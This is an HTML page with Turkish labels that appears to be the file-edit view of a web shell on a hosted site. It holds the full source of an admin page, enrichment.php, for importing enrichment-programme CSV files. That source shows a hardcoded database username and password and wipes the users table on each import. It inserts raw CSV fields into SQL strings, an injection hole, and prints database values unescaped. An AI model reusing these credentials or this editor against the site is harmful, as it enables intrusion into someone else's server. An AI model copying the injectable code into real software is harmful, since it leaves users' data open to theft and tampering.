    <h3>/home/bparcsg/public_html/admin/enrichment.php düzenle</h3>
    <form method="post">
        <input type="hidden" name="filename" value="/home/bparcsg/public_html/admin/enrichment.php">
        <textarea name="content" style="width:100%;height:400px;">
&lt;?php
 
session_start();
include('include/config.php');
$page=&quot;enrichment&quot;;
if(strlen($_SESSION['alogin'])==0)
	{	
header('location:index.php');
}
else{
$conn = mysqli_connect(&quot;localhost&quot;, &quot;kavintec_rcnew&quot;, &quot;Rcnew*()&quot;, &quot;kavintec_rcnew&quot;);

if (isset($_POST[&quot;import&quot;])) {
$sql = &quot;DELETE FROM users&quot;;

if ($conn-&gt;query($sql) === TRUE) {
    // echo &quot;Record deleted successfully&quot;;
	$fileName = $_FILES[&quot;file&quot;][&quot;tmp_name&quot;];
    
    if ($_FILES[&quot;file&quot;][&quot;size&quot;] &gt; 0) {
        
        $file = fopen($fileName, &quot;r&quot;);
        
        while (($column = fgetcsv($file, 10000, &quot;,&quot;)) !== FALSE) {
            $sqlInsert = &quot;INSERT into users (id,Subject,Level,Date,Time,Fee,Registration)
                   values ('&quot; . $column[0] . &quot;','&quot; . $column[1] . &quot;','&quot; . $column[2] . &quot;','&quot; . $column[3] . &quot;','&quot; . $column[4] . &quot;','&quot; . $column[5] . &quot;','&quot; . $column[6] . &quot;')&quot;;
            $result = mysqli_query($conn, $sqlInsert);
            
            if (! empty($result)) {
                $type = &quot;success&quot;;
                $message = &quot;CSV Data Imported into the Database&quot;;
            } else {
                $type = &quot;error&quot;;
                $message = &quot;Problem in Importing CSV Data&quot;;
            }
        }
    }
} else {
    echo &quot;Error deleting record: &quot; . $conn-&gt;error;
}


}
?&gt;
&lt;!DOCTYPE html&gt;
&lt;!--[if IE 8]&gt; &lt;html lang=&quot;en&quot; class=&quot;ie8&quot;&gt; &lt;![endif]--&gt;
&lt;!--[if IE 9]&gt; &lt;html lang=&quot;en&quot; class=&quot;ie9&quot;&gt; &lt;![endif]--&gt;
&lt;!--[if !IE]&gt;&lt;!--&gt; &lt;html lang=&quot;en&quot;&gt; &lt;!--&lt;![endif]--&gt;
&lt;!-- BEGIN HEAD --&gt;

&lt;!-- Mirrored from thevectorlab.net/adminlab/form_component.html by HTTrack Website Copier/3.x [XR&amp;CO'2014], Sat, 09 Dec 2017 07:51:10 GMT --&gt;
&lt;head&gt;
   &lt;meta charset=&quot;utf-8&quot; /&gt;
   &lt;title&gt;Enrichment&lt;/title&gt;
   &lt;meta content=&quot;width=device-width, initial-scale=1.0&quot; name=&quot;viewport&quot; /&gt;
   &lt;meta content=&quot;&quot; name=&quot;description&quot; /&gt;
   &lt;meta content=&quot;&quot; name=&quot;author&quot; /&gt;
   &lt;link href=&quot;assets/bootstrap/css/bootstrap.min.css&quot; rel=&quot;stylesheet&quot; /&gt;
   &lt;link href=&quot;assets/bootstrap/css/bootstrap-responsive.min.css&quot; rel=&quot;stylesheet&quot; /&gt;
   &lt;link href=&quot;assets/bootstrap/css/bootstrap-fileupload.css&quot; rel=&quot;stylesheet&quot; /&gt;
   &lt;link href=&quot;assets/font-awesome/css/font-awesome.css&quot; rel=&quot;stylesheet&quot; /&gt;
   &lt;link href=&quot;css/style.css&quot; rel=&quot;stylesheet&quot; /&gt;
   &lt;link href=&quot;css/style_responsive.css&quot; rel=&quot;stylesheet&quot; /&gt;
   &lt;link href=&quot;css/style_default.css&quot; rel=&quot;stylesheet&quot; id=&quot;style_color&quot; /&gt;

   &lt;link href=&quot;assets/fancybox/source/jquery.fancybox.css&quot; rel=&quot;stylesheet&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/gritter/css/jquery.gritter.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/uniform/css/uniform.default.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/chosen-bootstrap/chosen/chosen.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/jquery-tags-input/jquery.tagsinput.css&quot; /&gt;    
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/clockface/css/clockface.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/bootstrap-wysihtml5/bootstrap-wysihtml5.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/bootstrap-datepicker/css/datepicker.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/bootstrap-timepicker/compiled/timepicker.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/bootstrap-colorpicker/css/colorpicker.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; href=&quot;assets/bootstrap-toggle-buttons/static/stylesheets/bootstrap-toggle-buttons.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; href=&quot;assets/data-tables/DT_bootstrap.css&quot; /&gt;
   &lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;assets/bootstrap-daterangepicker/daterangepicker.css&quot; /&gt;
   	&lt;script type=&quot;text/javascript&quot;&gt;
function valid()
{
if(document.chngpwd.password.value==&quot;&quot;)
{
alert(&quot;Current Password Filed is Empty !!&quot;);
document.chngpwd.password.focus();
return false;
}
else if(document.chngpwd.newpassword.value==&quot;&quot;)
{
alert(&quot;New Password Filed is Empty !!&quot;);
document.chngpwd.newpassword.focus();
return false;
}
else if(document.chngpwd.confirmpassword.value==&quot;&quot;)
{
alert(&quot;Confirm Password Filed is Empty !!&quot;);
document.chngpwd.confirmpassword.focus();
return false;
}
else if(document.chngpwd.newpassword.value!= document.chngpwd.confirmpassword.value)
{
alert(&quot;Password and Confirm Password Field do not match  !!&quot;);
document.chngpwd.confirmpassword.focus();
return false;
}
return true;
}
&lt;/script&gt;


&lt;style&gt;

.outer-scontainer {
	background: #F0F0F0;
	border: #e0dfdf 1px solid;
	padding: 20px;
	border-radius: 2px;
}

.input-row {
	margin-top: 0px;
	margin-bottom: 20px;
}

.btn-submit {
	background: #333;
	border: #1d1d1d 1px solid;
	color: #f0f0f0;
	font-size: 0.9em;
	width: 100px;
	border-radius: 2px;
	cursor: pointer;
}

.outer-scontainer table {
	border-collapse: collapse;
	width: 100%;
}

.outer-scontainer th {
	border: 1px solid #dddddd;
	padding: 8px;
	text-align: left;
}

.outer-scontainer td {
	border: 1px solid #dddddd;
	padding: 8px;
	text-align: left;
}

#response {
    padding: 10px;
    margin-bottom: 10px;
    border-radius: 2px;
    display:none;
}

.success {
    background: #c7efd9;
    border: #bbe2cd 1px solid;
}

.error {
    background: #fbcfcf;
    border: #f3c6c7 1px solid;
}

div#response.display-block {
    display: block;
}
&lt;/style&gt;
&lt;script type=&quot;text/javascript&quot;&gt;
$(document).ready(function() {
    $(&quot;#frmCSVImport&quot;).on(&quot;submit&quot;, function () {

	    $(&quot;#response&quot;).attr(&quot;class&quot;, &quot;&quot;);
        $(&quot;#response&quot;).html(&quot;&quot;);
        var fileType = &quot;.csv&quot;;
        var regex = new RegExp(&quot;([a-zA-Z0-9\s_\\.\-:])+(&quot; + fileType + &quot;)$&quot;);
        if (!regex.test($(&quot;#file&quot;).val().toLowerCase())) {
        	    $(&quot;#response&quot;).addClass(&quot;error&quot;);
        	    $(&quot;#response&quot;).addClass(&quot;display-block&quot;);
            $(&quot;#response&quot;).html(&quot;Invalid File. Upload : &lt;b&gt;&quot; + fileType + &quot;&lt;/b&gt; Files.&quot;);
            return false;
        }
        return true;
    });
});
&lt;/script&gt;
&lt;/head&gt;
&lt;!-- END HEAD --&gt;
&lt;!-- BEGIN BODY --&gt;
&lt;body class=&quot;fixed-top&quot;&gt;
   &lt;!-- BEGIN HEADER --&gt;
  &lt;?php include(&quot;include/topheader.php&quot;);
  ?&gt;
   &lt;!-- END HEADER --&gt;
   &lt;!-- BEGIN CONTAINER --&gt;
   &lt;div id=&quot;container&quot; class=&quot;row-fluid&quot;&gt;
      &lt;!-- BEGIN SIDEBAR --&gt;
  &lt;?php 
  include(&quot;include/sidebar.php&quot;);?&gt;
      &lt;!-- END SIDEBAR --&gt;
      &lt;!-- BEGIN PAGE --&gt;  
      &lt;div id=&quot;main-content&quot;&gt;
         &lt;!-- BEGIN PAGE CONTAINER--&gt;
         &lt;div class=&quot;container-fluid&quot;&gt;
            &lt;!-- BEGIN PAGE HEADER--&gt;   
            &lt;div class=&quot;row-fluid&quot;&gt;
               &lt;div class=&quot;span12&quot;&gt;
                   &lt;!-- BEGIN THEME CUSTOMIZER--&gt;
                  
                   &lt;!-- END THEME CUSTOMIZER--&gt;
                  &lt;h3 class=&quot;page-title&quot;&gt;
                  Admin Enrichment Programmes 
           
                  &lt;/h3&gt;
                   &lt;ul class=&quot;breadcrumb&quot;&gt;
                       &lt;li&gt;
                           &lt;a href=&quot;dashboard.php&quot;&gt;&lt;i class=&quot;icon-home&quot;&gt;&lt;/i&gt;&lt;/a&gt;&lt;span class=&quot;divider&quot;&gt;&amp;nbsp;&lt;/span&gt;
                       &lt;/li&gt;
                      
                       &lt;li&gt;&lt;a href=&quot;#&quot;&gt;Enrichment&lt;/a&gt;&lt;span class=&quot;divider-last&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
                   &lt;/ul&gt;
               &lt;/div&gt;
            &lt;/div&gt;
            &lt;!-- END PAGE HEADER--&gt;
            &lt;!-- BEGIN PAGE CONTENT--&gt;
            &lt;div class=&quot;row-fluid&quot;&gt;
                  &lt;div class=&quot;span3&quot;&gt;&lt;/div&gt;
               &lt;div class=&quot;span6&quot;&gt;
                  &lt;!-- BEGIN SAMPLE FORM widget--&gt;   
                  &lt;div class=&quot;widget&quot;&gt;
                     &lt;div class=&quot;widget-title&quot;&gt;
                        &lt;h4&gt;&lt;i class=&quot;icon-reorder&quot;&gt;&lt;/i&gt;Add Enrichment&lt;/h4&gt;
                       
                     &lt;/div&gt;
                     &lt;div class=&quot;widget-body form&quot;&gt;
                        &lt;!-- BEGIN FORM--&gt;
        &lt;div id=&quot;response&quot; class=&quot;&lt;?php if(!empty($type)) { echo $type . &quot; display-block&quot;; } ?&gt;&quot;&gt;&lt;?php if(!empty($message)) { echo $message; } ?&gt;&lt;/div&gt;
    &lt;div class=&quot;outer-scontainer&quot;&gt;
        &lt;div class=&quot;row&quot;&gt;

				
            &lt;form class=&quot;form-horizontal&quot; action=&quot;&quot; method=&quot;post&quot;
                name=&quot;frmCSVImport&quot; id=&quot;frmCSVImport&quot; enctype=&quot;multipart/form-data&quot;&gt;
                &lt;div class=&quot;input-row&quot;&gt;
                    &lt;label class=&quot;col-md-4 control-label&quot;&gt;Choose CSV
                        File&lt;/label&gt; &lt;input type=&quot;file&quot; name=&quot;file&quot;
                        id=&quot;file&quot; accept=&quot;.csv&quot;&gt;
                    &lt;button type=&quot;submit&quot; id=&quot;submit&quot; name=&quot;import&quot;
                        class=&quot;btn-submit&quot;&gt;Import&lt;/button&gt;
                    &lt;br /&gt;

                &lt;/div&gt;

            &lt;/form&gt;
            	&lt;form action=&quot;export.php&quot;  class=&quot;form-horizontal row-fluid&quot;method=&quot;post&quot; name=&quot;export_excel&quot;&gt;

			&lt;div class=&quot;control-group&quot;&gt;
				&lt;div class=&quot;controls&quot;&gt;
					&lt;button type=&quot;submit&quot; id=&quot;export&quot; name=&quot;export&quot; class=&quot;btn btn-primary button-loading&quot; data-loading-text=&quot;Loading...&quot; style=&quot;float:right&quot;&gt;Export MySQL Data to CSV/Excel File&lt;/button&gt;
				&lt;/div&gt;
			&lt;/div&gt;
		&lt;/form&gt;	

        &lt;/div&gt;
             
    &lt;/div&gt; &lt;!-- END FORM--&gt;           
                     &lt;/div&gt;
                  &lt;/div&gt;
                  &lt;!-- END SAMPLE FORM widget--&gt;
               &lt;/div&gt;
            &lt;/div&gt;
              &lt;!-- BEGIN ADVANCED TABLE widget--&gt;
            &lt;div class=&quot;row-fluid&quot;&gt;
                &lt;div class=&quot;span3&quot;&gt;&lt;/div&gt;
                &lt;div class=&quot;span6&quot;&gt;
                    &lt;!-- BEGIN EXAMPLE TABLE widget--&gt;
                    &lt;div class=&quot;widget&quot;&gt;
                        &lt;div class=&quot;widget-title&quot;&gt;
                            &lt;h4&gt;&lt;i class=&quot;icon-reorder&quot;&gt;&lt;/i&gt;Slider Image View Table&lt;/h4&gt;
                            &lt;span class=&quot;tools&quot;&gt;
                                &lt;a href=&quot;javascript:;&quot; class=&quot;icon-chevron-down&quot;&gt;&lt;/a&gt;
                       
                            &lt;/span&gt;
                        &lt;/div&gt;
                        &lt;div class=&quot;widget-body&quot;&gt;
                              &lt;?php
            $sqlSelect = &quot;SELECT * FROM users&quot;;
            $result = mysqli_query($conn, $sqlSelect);
            
            if (mysqli_num_rows($result) &gt; 0) {
                ?&gt;
            &lt;table id='userTable' class=&quot;table table-striped table-bordered&quot;&gt;
            &lt;thead&gt;
                &lt;tr&gt;
                    &lt;th&gt;Subject&lt;/th&gt;
				  		&lt;th&gt;Level&lt;/th&gt;
				  		&lt;th&gt;Date&lt;/th&gt;
				  		&lt;th&gt;Time&lt;/th&gt;
				  		&lt;th&gt;Fee&lt;/th&gt;
				  		&lt;th&gt;Registration&lt;/th&gt;

                &lt;/tr&gt;
            &lt;/thead&gt;
&lt;?php
                
                while ($row = mysqli_fetch_array($result)) {
                    ?&gt;
                    
                &lt;tbody&gt;
                &lt;tr&gt;
                  	&lt;td&gt;&lt;?php echo $row['Subject']; ?&gt;&lt;/td&gt;
						&lt;td&gt;&lt;?php echo $row['Level']; ?&gt;&lt;/td&gt;
						&lt;td&gt;&lt;?php echo $row['Date']; ?&gt;&lt;/td&gt;
						&lt;td&gt;&lt;?php echo $row['Time']; ?&gt;&lt;/td&gt;
						&lt;td&gt;&lt;?php echo $row['Fee']; ?&gt;&lt;/td&gt;
						&lt;td&gt;&lt;?php echo $row['Registration']; ?&gt;&lt;/td&gt;
                &lt;/tr&gt;
                    &lt;?php
                }
                ?&gt;
                &lt;/tbody&gt;
        &lt;/table&gt;
        &lt;?php } ?&gt;
                            
                            
                        &lt;/div&gt;
                    &lt;/div&gt;
                    &lt;!-- END EXAMPLE TABLE widget--&gt;
                &lt;/div&gt;
            &lt;/div&gt;

            &lt;!-- END ADVANCED TABLE widget--&gt;
          
            &lt;!-- END PAGE CONTENT--&gt;         
         &lt;/div&gt;
         &lt;!-- END PAGE CONTAINER--&gt;
      &lt;/div&gt;
      &lt;!-- END PAGE --&gt;  
   &lt;/div&gt;
   &lt;!-- END CONTAINER --&gt;
   &lt;!-- BEGIN FOOTER --&gt;
     &lt;?php include(&quot;include/footer.php&quot;);?&gt;
   &lt;!-- END FOOTER --&gt;
   &lt;!-- BEGIN JAVASCRIPTS --&gt;    
   &lt;!-- Load javascripts at bottom, this will reduce page load time --&gt;
   &lt;script src=&quot;js/jquery-1.8.2.min.js&quot;&gt;&lt;/script&gt;    
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/ckeditor/ckeditor.js&quot;&gt;&lt;/script&gt;
   &lt;script src=&quot;assets/bootstrap/js/bootstrap.min.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap/js/bootstrap-fileupload.js&quot;&gt;&lt;/script&gt;
   &lt;script src=&quot;js/jquery.blockui.js&quot;&gt;&lt;/script&gt;
   &lt;!-- ie8 fixes --&gt;
   &lt;!--[if lt IE 9]&gt;
   &lt;script src=&quot;js/excanvas.js&quot;&gt;&lt;/script&gt;
   &lt;script src=&quot;js/respond.js&quot;&gt;&lt;/script&gt;
   &lt;![endif]--&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/chosen-bootstrap/chosen/chosen.jquery.min.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/uniform/jquery.uniform.min.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-wysihtml5/wysihtml5-0.3.0.js&quot;&gt;&lt;/script&gt; 
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-wysihtml5/bootstrap-wysihtml5.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/clockface/js/clockface.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/jquery-tags-input/jquery.tagsinput.min.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-toggle-buttons/static/js/jquery.toggle.buttons.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-datepicker/js/bootstrap-datepicker.js&quot;&gt;&lt;/script&gt;   
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-daterangepicker/date.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-daterangepicker/daterangepicker.js&quot;&gt;&lt;/script&gt; 
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-colorpicker/js/bootstrap-colorpicker.js&quot;&gt;&lt;/script&gt;  
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-timepicker/js/bootstrap-timepicker.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/bootstrap-inputmask/bootstrap-inputmask.min.js&quot;&gt;&lt;/script&gt;
   &lt;script src=&quot;assets/fancybox/source/jquery.fancybox.pack.js&quot;&gt;&lt;/script&gt;
     &lt;script type=&quot;text/javascript&quot; src=&quot;assets/uniform/jquery.uniform.min.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/data-tables/jquery.dataTables.js&quot;&gt;&lt;/script&gt;
   &lt;script type=&quot;text/javascript&quot; src=&quot;assets/data-tables/DT_bootstrap.js&quot;&gt;&lt;/script&gt;
   &lt;script src=&quot;js/scripts.js&quot;&gt;&lt;/script&gt;
   &lt;script&gt;
      jQuery(document).ready(function() {       
         // initiate layout and plugins
         App.init();
      });
   &lt;/script&gt;
   &lt;!-- END JAVASCRIPTS --&gt;   
&lt;/body&gt;
&lt;!-- END BODY --&gt;

&lt;!-- Mirrored from thevectorlab.net/adminlab/form_component.html by HTTrack Website Copier/3.x [XR&amp;CO'2014], Sat, 09 Dec 2017 07:51:36 GMT --&gt;
&lt;/html&gt;


&lt;?php } ?&gt;</textarea><br>
        <button type="submit" name="save_file">Kaydet</button>
    </form>
    <hr>
    <a href="?file=/home/bparcsg/public_html/admin">← Geri</a>